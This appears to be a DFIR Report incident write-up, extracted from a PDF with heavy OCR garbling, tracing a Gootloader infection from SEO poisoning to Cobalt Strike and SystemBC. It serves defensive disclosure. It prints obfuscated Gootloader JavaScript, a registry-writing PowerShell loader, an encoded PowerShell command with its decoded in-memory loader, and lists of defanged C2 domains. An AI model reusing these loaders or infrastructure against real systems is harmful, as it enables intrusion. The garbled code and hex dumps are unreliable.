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Key Takeaways

 In February 2023, we detected an intrusion that was initiated by a user downloading
and executing a file from a SEO-poisoned search result, leading to a Gootloader
infection.

e Around nine hours after the initial infection, the Gootloader malware facilitated the
deployment of a Cobalt Strike beacon payload directly into the host’s registry, and then
executed it in memory.

e The threat actor deployed SystemBC to tunnel RDP access into the network, which
aided in compromising domain controllers, backup servers, and other key servers.

o The threat actor conducted an interactive review of sensitive and confidential files using
RDP; however, we have been unable to confirm whether any data was actually
exfiltrated.

More information about Gootloader can be found in the following reports: The DFIR Report,
GootloaderSites, Mandiant, Red Canary, & Kroll.

Submit your feedback on this report for a chance to win free swag!

The DFIR Report Services

We provide a range of services including Private Threat Briefs, which includes 25+ private
reports yearly. These reports follow a format similar to our public reports but are more
concise in nature and are published within weeks of the intrusion.

Another service we provide is our Threat Feed, specializing in tracking Command and
Control frameworks such as Cobalt Strike, Metasploit, Sliver, and more.

Our comprehensive All Intel service includes the Private Threat Briefs and Threat Feed, with
additional insights such as private events, long-term infrastructure tracking, clustering of
intrusion data, Cobalt Strike configurations, C2 domains, and more.

We also offer a Private Ruleset which consists of exclusively curated rules using insights
derived from Private Threat Briefs and other internal cases. This ruleset currently
encompasses 100+ Sigma rules, created from the knowledge of 40+ cases. Each rule is
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mapped to ATT&CK and accompanied by a test example.

We invite you to reach out for a personalized demo of our services via our Contact Us page.

Table of Contents:

Case Summary

The intrusion started in February 2023, when a user conducted a search for “Implied
Employment Agreement”. The people behind Gootloader frequently exploit terms related to
contracts and agreements for search engine-optimization (SEO) poisoning. In this instance,
the user encountered a SEO poisoned result and clicked on it. This action directed them to a
compromised website that mimicked a user forum. On this webpage, a deceptive link enticed
the user to download what was supposed to be an employment agreement.

Upon opening the received zip file, the user saw a JavaScript file bearing a name similar to
their initial search term. Clicking on this file triggered the Gootloader malware’s execution
process. This led to the creation of a new JavaScript file within the user’s AppData folder. To
ensure its continuous operation, Gootloader established a scheduled task to run this newly
created file, incorporating a logon trigger for persistence. The sequence ends with the
execution of an obfuscated PowerShell script, which calls another PowerShell script.

This script performs some basic discovery of information about the host using built-in
PowerShell Cmdlets and WMI queries. The script then reaches out to a rotating list of remote
endpoints. Around nine hours after the initial execution, one of the remote endpoints
responded to the Gootloader malware, providing a download that was written to two registry
keys. Those registry keys contained an obfuscated launcher for Gootloader and a Cobalt
Strike beacon, which was loaded directly into memory.

Next, an instance of process injection into dllhost was detected, accompanied by network
connections to several remote hosts checking for LDAP and SMB. Additionally, LDAP
network traffic directed to a domain controller was observed, indicating discovery operations
targeting various groups, including Domain Users, Administrators, RDP Users, and Domain
Administrators.

Approximately ten minutes after these activities, the threat actor initiated lateral movement
within the network. This involved creating a remote service to disable Windows Defender’s
Real-Time Monitoring. Subsequently, they transferred a Cobalt Strike beacon executable
over SMB and executed it as a service. Following this, additional process injections and
access to the LSASS memory, were observed on the compromised hosts.
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The threat actor continued trying this method to move to various workstations and domain
controllers. However, on the domain controllers, Windows Defender remained operational
and successfully thwarted the attempts to launch the beacons. Despite these setbacks, the
attacker continued their efforts from a compromised workstation, utilizing PowerView to
conduct additional discovery tasks.

To breach the domain controller, the threat actor adjusted their strategy. They introduced a
new PowerShell script onto a workstation and executed it, which was a PowerShell
implementation of SystemBC. This script initiated communication with a command and
control server and established persistence by creating a registry run key. Following this
setup, the threat actor executed multiple commands through remote services on a domain
controller to ensure RDP access was enabled. They then logged into the domain controller
over RDP by routing the connection through the infected workstation using SystemBC.

Having gained access to the domain controller, the threat actor transferred a text file
containing a series of commands through their RDP session, aimed at further attempts to
disable Windows Defender. Despite these efforts, their attempt to deploy a PowerShell
beacon seemed to be unsuccessful. Not deterred, they proceeded to install Advanced IP
Scanner on the domain controller and initiated a network scan. While that was running, they
explored a remote file share, during which they accessed a document containing password-
related information.

The threat actor next turned their attention to a backup server, utilizing Windows Remote
Management (WinRM) to execute multiple commands, ensuring that RDP access to the
server was enabled and open. After ensuring RDP was available, they connected to the
server via RDP and proceeded to review the backup configurations for the environment.
During this time, they also deployed the SystemBC PowerShell script on the server. After this
activity, there was a noticeable lull in the threat actor’s actions, with no significant activities
recorded for the next five hours. Upon returning, the threat actor resumed accessing hosts
over RDP.

The threat actor resumed their search for sensitive information by looking through file shares
for documents pertaining to passwords, while operating from the backup server. Additionally,
they executed Advanced IP Scanner again, this time from the backup server. Throughout
their RDP session, they interactively viewed data, yet no direct signs of data exfiltration were
observed during this phase of activity. After this, the threat actor’s presence on the network
ceased, and they were not detected again prior to being evicted from the network.

Submit your feedback on this report for a chance to win free swag!

Analysts

Analysis and reporting completed by @_pete_0, @malforsec & @r3nzsec
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Initial Access

The initial access was achieved by the user navigating to a SEO-poisoned website via
Google search. Once opened the site masquerades as a forum and with a download link to
an ‘Implied Employment Agreement’ document.

id url title
Filter |r ter Filter
1 1 https://go.microsoft.com/fwlink/?linkid=2132465&form=MT004A&0CID=MT004A Welcome to Microsoft Edge
2 2 https://microsoftedgewelcome. microsoft.com/ Welcome to Microsoft Edge
3 3 https://microsoftedgewelcome.microsoft.com/en-us/ Welcome to Microsoft Edge
4 4 https://microsoftedgewelcome.microsoft.com/en-us/welcome?exp=e00&form=MTO0AS Welcome to Microsoft Edge
5 5 http://google.com/ Google
6 6 https://google.com/ Google
7 7 https://www.google.com/ Google
8 8 https://www.google.com/search?...
9 9 https://www.google.com/search?...
10 10 https://www.google.com/search?... agreement - Google Search
11 11 https://www.google.com/furl?... implied employment agreement
12 12 [implied-employment-agreement/ implied employment agreement

QUESTIONS AND ANSWERS

Log In Sign Up

Questions News Search About Us

implied employment agreement?

#1 2023/01/25 7:16 pm

Emma Hill Hi, | am looking to implied employment agreement. A friend
of mine told me he had seen it on your forum. | will
appreciate any help here.

Newbie

#2 2023101126 2:46 am

Admin Here is a direct download link, implied employment
agreement.

In our previous analysis of Gootloader, detailed in our report, “SEQ Poisoning: A Gootloader
Story,” we revisit the same initial access technique employed by threat actors. For a better
understanding, we’ve included a video in our previous report that visually demonstrates the
user’s journey from SEO poisoning to encountering Gootloader malware.
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The ‘Implied Employment Agreement’ turned out to be a zip archive containing the
GootLoader multistage loader. We can see from the below that the zip was downloaded from
a website on the internet (Zoneld=3).

o o0 o
[ZoneTransfer]

ZoneId=3
\Users\ n Imnli o y reem 9.71ip'7 e ifi
\users\ [ \vownoads Tnplied_enploynent_sgreement_70159.zip:Zone. Identifier HostUrlehttps: //abovasndbeyondecvars. confdonloa. php

- '-.Useu‘s'-._ YDownloads Implied_employment_agreement_78159%9.zip

Below depicts the process of the start of the Gootloader infection:

User searches “Implied Employment ¢
Agreement” via Google search ’ *
ﬁ lllllllllllllllllllll>

Downloads the Gootloader zip archive called
“Implied_Employment_Agreement_70159.zip

©

€rrrnnnnnnnnnnnns

Zip file contains malicious
javascript “implied employment
agreement 24230.js”

5

Execution

Gootloader employs several executions across the whole infection chain.
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User searches “Inplied Employment Agreement” Gootloader stage 1 PoWerShell trying to fetch
o eevasnannnnnansnersanens e;"e payloads by contacting 10 different domains:
hxxps[:1//hrclubphilippines|. Jcon/xmlrpc.php

SEO Answer Created a scheduled task for hxxps[ : 1//nediacratial . Jru/xnlrpc.php
User visits wateringhole website ﬁ:::‘i;egge and sets to start at hxxps[:]//daraltanweer[.]Jcon/xmlrpc.php
“https[ :]//aboveandbeyondnovers.con/downloads. php” e hxxps| :]//ukrainians[.]today/xnlrpc.php

Name: “InfrSiRfucture Technologies” : :;;Pz{f}x:z;&;l:g*;;;;::ﬁ-160:/xmlruc.php
Trigeers: Logon Trigger h: ps[:]// ockesof ;eschool[p]égm; 1rpc.ph
Downloads the Gootloader zip archive called : xxpst:l//p P . xmlrpc.php

hxxp[ :1//blog[ . 111 1ianpraskoval . Jcz/xmlrpc. php
hxxps[:]//sitmeanssit[.]con/xnlrpc.php
hxxp[:1//artmodel [ . Jcon[ . Jua/xn1rpc.php

“Inplied_Employment_Agreement_70159.2ip

1 ZIP

HTTP 405

blog[.]lilianpraskova.cz/xmlrpc.php

<

HTTP 200

2 ‘5 Downloads
5 Payload 1: Obfuscated .NET Launcher
6 Payload 2: Obfuscated Cobalt Strike beacon
Payload 3: PowerShell Script

« PowerShell script writes Obfuscated .NET launcher to
HKCU\SOF THARE\Microsoft\Personal izat ion\geRBAJXTDCKN
« PowerShell script writes obfuscated Cobalt Strike
Beacon to
“HKCU\SOF THARE\Microsoft\Personalization\cbKStbjaBNFy
+ Deobfuscates .NET Launcher and loads into memory

Drops and creates additional .JS
After the download, the user opens “Frontline Management.js in

“Inplied_Enployment_Agreenent_70159.2ip” file and XAPPDATAZ\Roaming\Adobe
executes “implied employment agreement 24230.js”” o WsCript.exe > CSCript.exe

FRONTL1. js 7

ONE I « Decodes the Cobalt Strike beacon and launches it

LAUNCHER

« The Cobalt Strike beacon creates pipe
\\netsvc\1324

« The Cobalt Strike beacon reaches out to
C2 at 91.215.85[.]143

Cobalt Strike Beacon

The JavaScript file was executed after the user double-clicked on it within the opened zip
archive.

winlog.task Vv process.parent.name “ process.name v process.command_line v
Process Create (rule: explorer.exe wscript.exe "C:\Windows\System32\WScript.exe"
ProcessCreate) "C:\Users NI /-pData\Local\Temp\Temp1_Implied_employment_a

greement_70159.zip\implied employment agreement 24230.js"

Level

Source EventID Task Category

Information Microsoft Windows security auditing. 4688 Process Creation

" Information Microsoft Windows security auditing. Process Creation

Information Microsoft Windows security auditing. 4688 Process Creation
Event 4688, Microsoft Windows security auditing.
General Details
© Friendly View O XML View
+ System
- EventData
SubjectUsersid = S-1-5-2 1 | -
SubjectUserName
SubjectDomainName

SubjectLogonld 0x2277bf

NewProcessld  0x2200

NewProcessName C:\Windows\System32\wscript.exe
TokenElevationType %%1936

Processld 0x1834

CommandLine "C\Windows\System32\WScript.exe"
"C:\Users\ \AppData\Local\Temp\Temp1_Implied_employment_agreement_70159.zip\implied employment agreement
24230,js"

TargetUserSid  S-1-0-0

TargetUserName -

TargetDomainName -

TargetLogonld  0x0
ParentProcessName C:\Windows\explorer.exe
MandatoryLabel S-1-16-12288
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Execution of the Javascript file drops another Javascript file named “Frontline
Management.js”. This dropped Javascript is heavily obfuscated.

singf = 81950; function settlei(storys, upcdbq, sis 29, neckm){return putl(storys,upcdbq,thank4);}moveb = [4563];0onj="\"]
AN NN C 0AZN P TAN DN NN b0 TN L ANNONG L8N P MmN\ "\ 4NN BN\ T/N e\ N6\ "\ NN\ r6++\ ", NN\ P\ 3B+

=\ "\\\\\'12e+0)d\\.\'a';second8="\ "W\ NN\ '\ P\ NNNON 1) N NN THmTL T OV L NN AL SN LY fag ) \\ne++\\ N\
OV NN\ PANN N NN Cedir\ NN\ '\ rt) +E\ "H\\S\ ' (' ;thank4 = 1;n0r8 = thank4;willd="+\"\\\\\"\"\\\\\+st) VTN N\ AL 'S)
A\ VNN L OGN L AL a L PN L LD vA+o+) NN L OV NN L e NFZNNCL L NN L) #rw\ NN (W
+c\\+\ "\ "\\\\\ "\ 'e\\A+';experimentt = 4962;axcv = thank4-nor8;function troublep(mkzlcg yay tdbw) {moveb [54850] = massu;
zupms [beauty6] = land92[zupms [axcv]];FsTip9="+\\E\'\"'Z\\eV . r\ "b\\\\\ '\ NN T+++ (N NN\ '\ 2N\ pA2N\\ON *\ "6\ \+L—

FAEN '\ 5NAM$2e\\=N N, A NH320\ N VR o\ NAA\NE ) fime6="\\\ "\ PANO) t0+\ T IN\SR\NAN ' F) N H\N) N AN\ 5 [+r$z\ " \\\\\ '\ [\\+cb
FAKL L TNWL Y (\\mg7+a\ "9\ \e\ "=\ \\\+\ V3N AN TN AN B, +r\ I\ \N\2++L/N NN\ '\ '3 fixv = 7666; function metal22
(wgqct, legw) {vbozpf = commonj(legw);for (yhxfyu = axcv; yhxfyu<=commonj(wqqct)-vbozpf; yhxfyu++) {if (putl(wqqct,yhxfyu,
vbozpf)==1legw){zitly [commonj(zitly)] = putl(wqgqct,sawm,yhxfyu-sawm);sawm = yhxfyu+vbozpf;}}zitly[commonj(zitly)] = putl
(wggct, sawm) ; return zitly;}xiwakk = 459;function nvvkdarq(){you7(singf);whdbphol = feetf;while(thank4){try{plural2=moveb
[worldw] (worldw); }catch(soldier7){moveb[11766]=1and92; }worldw++}}numbero="\"7\\n\")\\\\+\"'bI\"+\\(L\\M\ '$2\ " :\\[ \\+\';b\"'
AN AN MH2 N 2\ S\ r+4Fe\ "IN\ VN, S++1T sworldw = 1875;as02="+(r$\'0\\{a,G)\ 'K\\le++Sc(\ "'m\\1\ '"M\\/f\\+\ a1\’

In addition to the file, a new scheduled task named ‘InfrSiRfucture Technologies’ was
created. This task was then invoked to run the new Javascript file. The infection chain
continues with a PowerShell script. The execution chain here is Svchost.exe(Scheduled
Task) — Wscript.exe — Cscript.exe — Powershell.exe

processname | image parent_image cmdline parent_cmdline

wscript.exe CAWindows\System32\wscriptexe CAWindows\System32\svchostexe | C\Windowshsystem32\wscript.EXE FRONTL~1JS CAWindows\system32\svchost.exe -k netsvcs -p -5 Schedule
cscriptexe CAWindows\System32\cscriptexe CAWindows\System32\wscript.exe | "CA\Windows\System32\cscriptexe” "FRONTL~1J5" | CAWindows\system32\wscript.EXE FRONTL~1J5
powershell.exe | CAWindows\System32\WindowsPowerShellw1.0\powershell.exe | CAWindows\System32\cscriptexe | PoWerSHEIL "ChWindows\System32\cscript.exe” "FRONTL~1J5"

The PowerShell script included URLSs to ten remote servers:

SLONIN'1=$LVKCFROF; $LBNIN

CreatEobJECtFULLNaneWsCRIPt . ShELLOPENSHELL . APPLc iptsLEEP\\ WRITELiNeSDiN

Not all the included remote servers were weaponized at the time of execution, so some
servers answered with HTTP 405 “Method Not Allowed”.
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Source ( -51792)

4745 5420 278 6d6c 727@ 632e 7068 7828 |GET./xmlrpc.php.
4854 545@ 231 2e31 @d@a 5573 6572 Zd41 MTTPTI T USETR
6765 6e74 3a20 4d6f 7a6% 6chc 612f 352e gent:.Mozilla/s.
3820 2857 696 646f 7773 284e 5420 3130 9. (Windows.NT.10
2e3@ 3b20 5769 6e36 343b 2878 3634 2920 .8;.Win64;.x64).
4179 7@6c 6557 6562 4b69 742f 3533 372e AppledebKit/537.
3336 2028 4b48 544d 4c2c 206c 696b 6520 36. (KHTML,.like.
4765 636b 6F29 2043 6872 6f6d 652f 3139 Gecko).Chrome/1@
372e 382e 382e 3020 5361 6661 7269 2f35 7.0.8.8.5afari/s
3337 2e33 368d @ad3 6f6f 6b6Y 653a 2043 37.36..Cookie:.H
3838 333@ 3938 3543 363d 4834 7349 4141 4100
4141 4141 4145 414a 5655 5857 2062 4d42 AAAAAEATVUXW+bMB
5439 4b2f 4332 5352 4e71 3834 784f 7935 T9K/C25RNqB4xDy5
4f44 5465 494e 5932 5362 7@4a 5551 4551 ODTeINYZSbpIUQEQ
7475 6863 5248 4248 5274 4b72 5466 5867 tuhcRHBHREKrTfPg
4e68 4957 7557 6251 3867 664d 2035 6c2f NhIWukbQBgfM+51/

4854 5458 2131 2e31 2034 3035 284d 6574 HTTP/1.1.485.Met
686F 6420 d4ebf 7428 416c 6obf 7765 648d] hod.Not.Allowed.
Badd 6174 653a 2854 6875 2c2@ 3832 2846

6562 2832 3832 3320 3139 3a35 363a 3230

2647 Ad54 @dBa 5365 7276 6572 3a2@ 4170 .(GMT..S5erver:.Ap
6163 6865 @dba 416c 6cef 773a 2058 4153 ache..Allow:.POS
S48d @a55 7ee7 7261 6465 3a2@ 6832 2¢68 T..Upgrade:.h2,h
3263 @dea 436f GeGe 6563 7469 6fee 3a2@ 2c..Connection:.
5578 6772 6164 652c 2863 6cbf 7365 @dBa Upgrade,.close..
5472 glee 7366 B572 2d45 6e63 6FfE4 696e Transfer-Encodin
673a 2863 6375 bebb 6564 @d@a 436+ 6274 pg:.chunked..lont
656e 742d 5479 FO65 Ja2@ 7465 7874 270 ent-Type:.text/p
6c6l 696e 3b63 6861 7273 6574 3d55 5446 lain;charset=UTF
2d38 9dea adoa =B e

584d A4c2d 5250 4328 7365 7276 6572 2861 XML-RPC.server.a
6363 6578 7473 2858 4153 5420 7265 7175 ccepts.POST.requ
6573 7473 286T Gebc 79Ze ests.only.

For the server that was weaponized, however, there is a different response. For this
intrusion, that was 46.28.105[.]94 with the URL “hxxp:blog|.]lilianpraskoval[.]Jcz/xmlrpc[.]php”.
The server then started answering with the HTTP status code 200 “OK” and delivering the
final stage in the Gootloader infection.

eventid | image sourceport | destinationport | destinationip
3 CAWindows\System3 2\ WindowsPowerShellw1.0\powershell.exe | 53591 80 46.28.105.94
n tcp 53591 46.28 105.94 80 541 518,149 remnux URI ~ | blog lilianpraskova. cz/xmirpc.php
547,387
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HTTP

Method ~
Status code -
Hosts =

User Agents ~

GET
200

blog.lilianpraskova.cz

Mozilla’5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

Source (

4745
4854
6765
3820
2e30
4179
3336
4765
372e
3337
3838
4141
5439
444
7475
4268
7478
6546
G54e

5420
5453
a4
2857
3b2@
7O6C
2628
GE36b
Ig2e
2233
3338
4141
4b2f
5465
GEE6E3
4957
726f
3175
4i6e

2f78
2f31
3aza
696e
5769
6557
448
&f29
302e
3o8d
3938
4145
4332
494e
5248
7557
d36e
6541
7758

Bdbc
2e31
ddaf
gdof
Be36
6562

2843
3828
dadd
3543
414z
5352
5932
4248
6251
2b42
4034
4167

72789
Adaa
7a69
7773
343b
4bb9
dclc
6872
5361
6fef
363d
5655
4271
5362
5274
3867
7778
7648
4561

632e
5573
Bcoc
284e
2878
T42f
286C
B6f6d
BE61
6be9
4534
5857
3834
784
4b72
6644
3765
4473
7531

-53591)

7068
6572
el2f
2428
3g34
3533
6960
652f
7269
B53a
7349
2b62
7adf
Sl
S4b66
2b35
4571
7ae7
ifde

7028 |GET . /xmlrpc.php.|

2d41
352e
3138
29249
I72e
652@
3138
235
2843

HTTP/1.1. .User-A
gent:.Mozilla/s.
8. (Windows .NT.18
.B; . Wingd; .x64) .
ApplekebKits537.
36. (KHTML, .1ike.
Gecko).Chrome/1@
7.8.8.8.5afari/5

37.36..Cookie: .|}

4141 IR e s 1A

4a42
7935
4551
5867
bc2f
2977
5045
7367

ARAAAEATVIX+EME
T9K/C25RNg@4x0y5
ODT=INY2SbpIUQED
tuhcRHBHRTKrTHPg
MhIkubWb8gfM+51/
txroH]+Bwx7jFaYw
eFlufAKdvHMspeVE
eNDiwPAEFaul/lsg
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4854 5458 231 2Ze3l 2032 3830 284+ 4bd ﬂTTﬂfl.l.ZaE.DKJ

Badd 6174 653a 2046 7269 2c20 3833 2846

6562 20832 3832 3320 31834 3a34 3933 3139

2847 4d54 @dBa 5365 7276 6572 3a28 417@ .GMT..Server:.Ap

6163 6365 @dBa 557@ 6772 6164 6533 2868 ache..Upgrade:.h

322c 6832 638d @ad3 6fee Ge65 6374 696F 2,h2c..Connectio

6e3a 2855 7867 7261 6465 2c2@ B36C B6F73 n:.Upgrade,.clos

658d @ad3 6163 6B6S 2d43 &fee 7472 6Ff6c e..lache-Control

3a20 edbl 782d 6167 653d 35630 3433 31830 :.max-age=6048080

@dBa 4578 7869 7265 733a 2846 7269 2c20 ..Expires:.Fri,.

3139 2845 562 2832 30832 3320 3834 3Ja34

3933 3139 2847 4d54 AdBa 5472 Bloe 7366

6572 2d45 6ef3 6FA4 6962 6738 2863 6875 er-Encoding:.chu

Ee6b 6564 @dBa 436T 6274 656e T742d 5479 nked..Content-Ty
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Teef 7269 6669 6F6f 7269 7769 trvovorifiooriwi
7469 7769 6569 6569 666f 7972 drvitiwieleifoyr
7572 766F 726f 7569 6572 7669 viriurvorouiervi
T&79 7979 6675 T472 Te69 6469 siervyyyfutrvidi
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7
7476 7769
6572

o
¥l
o
w3
=l
e
|
[
)
I
=]
[
=l
¥
=l
=t

swvctvwiiitqggog

1
I
=]
o
o
P
=]
()]
)
-l
1
o
=]
P
-l
3
]
=]
=
(=11

VeqwertTwDvwWWrrry

7175 7976 7971 Te76 €971 7662 wwagguyvygvvigvb
177 7171 7674 7171 T1A6 RIS wwihanwoavtaonfoi

The final download contained three different components. Gootloader stage1(prameter
$cXqt) which was an obfuscated dll, Gootloader stage2(parameter $IbaY) which ended up as
an exe file when deobfuscated. Finally, a script wrote stage1 and stage2 into the registry
before deobfuscating stage1 and loading that into memory. Stage1 took care of the
deobfuscation of stage2, the final payload for Gootloader, and loaded what we later will see
is a Cobalt Strike Beacon.

$cXqt="{dd5a90000300000004000000FFFFO00E 0000A0AAPAAALANAARAAAHANAARAAAHANAAAAAAHAAAAAAAAOAANAANAAEANANAAAAAEHAAAANAAEHANEARAAEHRAAARAAE1fbale@AbULA9Ccd21b8014ccd215U686973207072
6f6772616d2063616e6e6F74206265207275! 000000060000000000007e4d0000BO2
000080000000000000028Ud000

000480000000¢ 000000000002e74 TUOBE 000002000000022000¢ 000000000000000000F 0000200000602e727. 8bee2000000600000000400E

00000000000000000000000000L0000BLO2E' c6f6300000c00B0AABOBOOE 0686340000000000000000000000000000400000U20€ 0000BAAARAAANANAANAAANANAAAGALIANAAAAAAOBAALBAAABAE

07c300000aclcO00003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000080001e0; 500000a2a133002000b060000010000116021
feB810a2bp0A62a00133003001900000002000011027b6a00000UA3186F0700000a1f16 000a8a2bpBR62a000000133003005e00000003000011731d0000A60a06027d6a00000UAB16067b6aB000BUE6TA9000E
0060a7e010080042d1314Fe0603000006730b0OAON2B0A10000042bOATe0100000U280100002b06Fe061e000006730d0000Aa28020000. 60862bob2b8ABT2200081b360306Fd01600A0LE00011007e1000000aT
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6$IbaY="yduasqvtqqvyqqffffqvbpqqqqvvyqqqqqqqqqqqqqqqqaqqqaqqqvvpgqvvenfbavevvbyvy
iurevdvdvaryqqqqvvuvyuquycvwvsvvctvwiiitqqgqgveqvertvbvwvrrrvvwaqquyvyquviqvbvwtqqwgqvtq
vvyvvuyvugqqqqqqqqqqqqqqqgqqcvvyvvryvrdqqqqqqqqqqqqqqqgurpivvyvvepqqqqqqqgqqqqvvfpsvvyvvb
vyquiweqqqqqqqqqvyqivevreoriyiwoyiwqufpvtqqivvyquvyqqyyvyaqaaqqqaqvvyqtvyvreirototqqqevyqq
yvuqqsvvyquviqqyavyqqqqqqqqvvygtvevreyturuyqqvvreqqvvavvyqurgquvvyqqqqqoqavvyqtvecvreoyi
yrqqqqaqqqqaadaqaqaqqqqaqaaqaqqqqqaaaaaqaagaddaqqaqqaqqqaqqqaaaaaaaaqaaaaaaaaqaaqaqaqaaaaaaadadaa
qqqgqgqqqqqqqqqqqqqptecwccovyryvvoqidepowwiqvptcywcctpdbyriqqvvpdbiqguvuouiutptecwvpbyyryr

function bkrAY($text,$pn) {

$hr = "HKCU:\SOFTWARE\Microsoft\Personalization\$pn";

if (-Not (Test-Path $hr)) {

New-Ttem -Type Folder —Path "HKCU:\SOFTWARE\Microsoft\Personalization\" -Name $pn | Out-Null;
ext -split '(\wiueee} 7 {$.3;
; $i -1t $arr.length; $i++) {
New-ItemProperty -Path $hr -Name $i -PropertyType String -Value $arr[$i] | Out-Null;

"geRBAdXTDCKN" ;

indows\SysWOW6L\WiNnaoWSPoOWersne LL\V1. o\ponWersne L. exe’ —arg '/com C:\Winaows\syswoweu\winaowsrowerShell\vl.o\powershell.exe "/"enco" NgAwA"DkAMg"A2"A"DUAOQA®ADAAOWBZ"
AGwW"AZQB" LAHA"AIA"AtL"AHMAIAAC"AD"IA"MAAPADsA"NgAwA"DIAMQAZADQAMWA"BADSA" JA" Bz "AHGAZAAYA " CIAaAAIAC"SAIgA]" A"IgBrAGMA"IgArACI"AIgATAC JQAG"A"Fu'" AcwB" vA AK"WALACIAKWAIAGY
Ad"AB3ACIAKWAIACIAKWAI"AG"EACGBLA" F\l AL‘I QB" pALIAK "WAIACIAK"WAIAG" VIACQB\IACIRI\ WAL"ACI"AKWAL"AHMAbWBM " AHQAX AGUAC"g"AiACS"A"IgAI"ACSAI" JB A G" 8 AIQA!‘ALIAIQ "Ar"ACI"AbgBhA"G"w"AL

BYAHBAJABDA"FYAYQ" B
C"IAKM"AL UAIGATACIALG

UwB"X"AES"AZWBQAE"EAL "WAYAF' QBDAG“M"AbwE-LIAHVAZQBSFAHQAZQA”EA"DDAHAﬂi"A”FQA!"gIAI‘ACIA!Q"IAt‘AC"Iﬂb“WBCl\H"kAIqu‘l\[IAIg

G"KAbgBnACgAJABBA"EC"AU ESAZW"BQAE"EALA"Ay"ACKA"LAAOADIAKg"AUA"CKA"KQBIAFsSA"cgBLAGYADAB"LAGMAJABPAG"8Ab"gAu" B bt AbQ"BiA"GwAe"QBd" OACIATAAIACSAIgAiACS™
AIgBv"ACIAKWAIA"CIA" wAi" AGEAZAAIACKA"KAAKAG "wAUWBMAGQADQApPA " DSA" WwBPAHAAZQBUAF "OA0gA" 6AC"gATgBUAC" TAKW " A1 "ACIAK" wA"iAGUAC" W, ACSATgAIAC"SAI"gBOACIA"KQ"AoACKAOWAL"AD"AAOQAS A"
DAA"M"gAB"ADgA"MgA"TAA="=" -Win Hid;C88

The encoded PowerShell command that ran is beautified and decoded below.

winlog.task v process.parent.name “ process.command_line v
Process Create (rule: powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /enco
ProcessCreate) NgAWADkAMgA2 ADUAOQABADAAOWBZAGWAZQB1AHAATAAtAHMATIAAOADIAMAAPADSANgAWADIAMQAZADQAMWABADSAJABZAHgAZAA9

ACIAaAAiACsAIgAiACsAIgBrAGMAIgArACIAIgArACIAdQA6AFWACWBVACIAKWAiIACTIAKWAiAGYAdAB3ACTIAKWAIACIAKWALAGE...

Here’s the decoded value:

609265940; sleep -s (20); 60213434,
$sxd="hkcu:\software\microsoft\Personalization\geRBAdXTDCKN"; $tGSWK=gp -path $sxd;
for ($tGSWKgjA=0; $tGSWKgjA -le 705; $tGSWKgjA++)
{Try{$0OHhnP+=$tGSWK.$tGSWKgjA}Catch{}}; $tGSWKgjA=0; while($true){$tGSWKgjA++; $ko=
[math]::("sqrt") ($tGSWKgjA); if($ko -eq 1000){break}}$Cvaw=$0HhnP.replace("#", $ko);
$1Sfdm=[byte[]]::("new")($CVawW.Length/2); for($tGSWKgjA=0; $tGSWKgjA -1t
$CVaW.Length; $tGSWKgjA+=2){$1Sfdm[$tGSWKgjA/2]=[convert]::("ToByte")
($cvaw.Substring($tGSWKgijA, 2), (2*8))}[reflection.assembly]:: ("Load") ($1Sfdm);
[Open]::("Test")(); 809902482;

Decoding the JavaScript stager payload manually could be time-consuming, so we used this
fantastic script made by Mandiant. This is a collection of scripts used to deobfuscate
Gootloader malware samples. We used the GootlLoaderAutoJSDecode.py Python script that
automatically decodes .js files using static analysis.
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gootloader-main % python3 GootLoaderAutoJsDecode.py "implied_employment_agreement_24230.js"

GootLoader Obfuscation Variant 2.1 or higher detected
GootLoader Obfuscation Variant 3.0 sample detected.

File and Scheduled task data:
Log File Name: Production Efficiency.log
JS File Name: Frontline Management.js

Scheduled Task Name: InfrSiRfucture Technologies

Data Saved to: FileAndTaskData.txt

e Pl pliissa Ve S roM oot e detivanCriNEsE

The script will new attempt to deobfuscate the GootlLoader3Stage2.js_ file.
GootLoader Obfuscation Variant 3.0 detected

If this fails try using CyberChef "JavaScript Beautify" against the GootlLoader3Stage2.js_ file first.

Script output Saved to: DecodedJsPayload.js_

Malicious Domains:

hxxps[:]1//hrclubphilippines[.]lcom/xmlrpc.php
hxxps[:]//mediacratial[.]lru/xmlrpc.php
hxxps[:]//daraltanweer[.]com/xmlrpc.php
hxxps[:]1//ukrainians[.]today/xmlrpc.php
hxxps[:1//my-little-kitchen[.]com/xmlrpc.php
hxxps[:]1//montages[.]lno/xmlrpc.php
hxxps[:]1//pocketofpreschool[.]com/xmlrpc.php
hxxp[:1//blogl[.]lilianpraskoval.]lcz/xmlrpc.php
hxxps[:]1//sitmeanssit[.]lcom/xmlrpc.php
hxxp[:1//artmodel[.]lcom[.]Jua/xmlrpc.php

Persistence
Gootloader

A scheduled task was created during the initial Gootloader execution. This task was run on
demand to execute the next stage in the Gootloader malware chain, and setup a Logon
Trigger to maintain persistence on the beachhead.
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xml version="1.0" encoding="UTF-16"

Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"

RegistrationInfo
URI>\InfrSiRfucture Technologies</URI
Registrationlnto
Triggers
LogonTrigger id="LogonTriggerId"
Enabled>true</Enabled
UserId '</Userld
LogonTrigger
Triggers
Settings
MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy
DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries
StopIfGoingOnBatteries>true</StopIfGoing0OnBatteries
AllowHardTerminate>true</AllowHardTerminate
StartWhenAvailable>true</StartWhenAvailable
RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable
IdleSettings
Duration>PT1@M</Duration
WaitTimeout>PT1H</WaitTimeout
StopOnIdleEnd>true</StopOnIdleEnd
RestartOnIdle>false</RestartOnIdle
IdleSettings
AllowStartOnDemand>true</AllowStartOnDemand
Enabled>true</Enabled
Hidden>false</Hidden
RunOnlyIfIdle>false</RunOnlyIfIdle
WakeToRun>false</WakeToRun
ExecutionTimeLimit>PT72H</ExecutionTimelLimit
Priority>7</Priority
Settings
Actions Context="Author"
Exec
Command>wscript</Command
Arguments>FRONTL~1.JS5</Arguments
WorkingDirectory>C:\Users" ‘\AppData\Roaming\Adobe
Exec
Actions
Principals
Principal id="Author"
UserId>- r</Userld
LogonType>InteractiveToken</LogonType
RunLevel=LeastPrivilege</RunLevel
Principal
Principals
Task

SystemBC

WorkingDirectory

Later in the intrusion the threat actor deployed a SystemBC PowerShell script. They setup
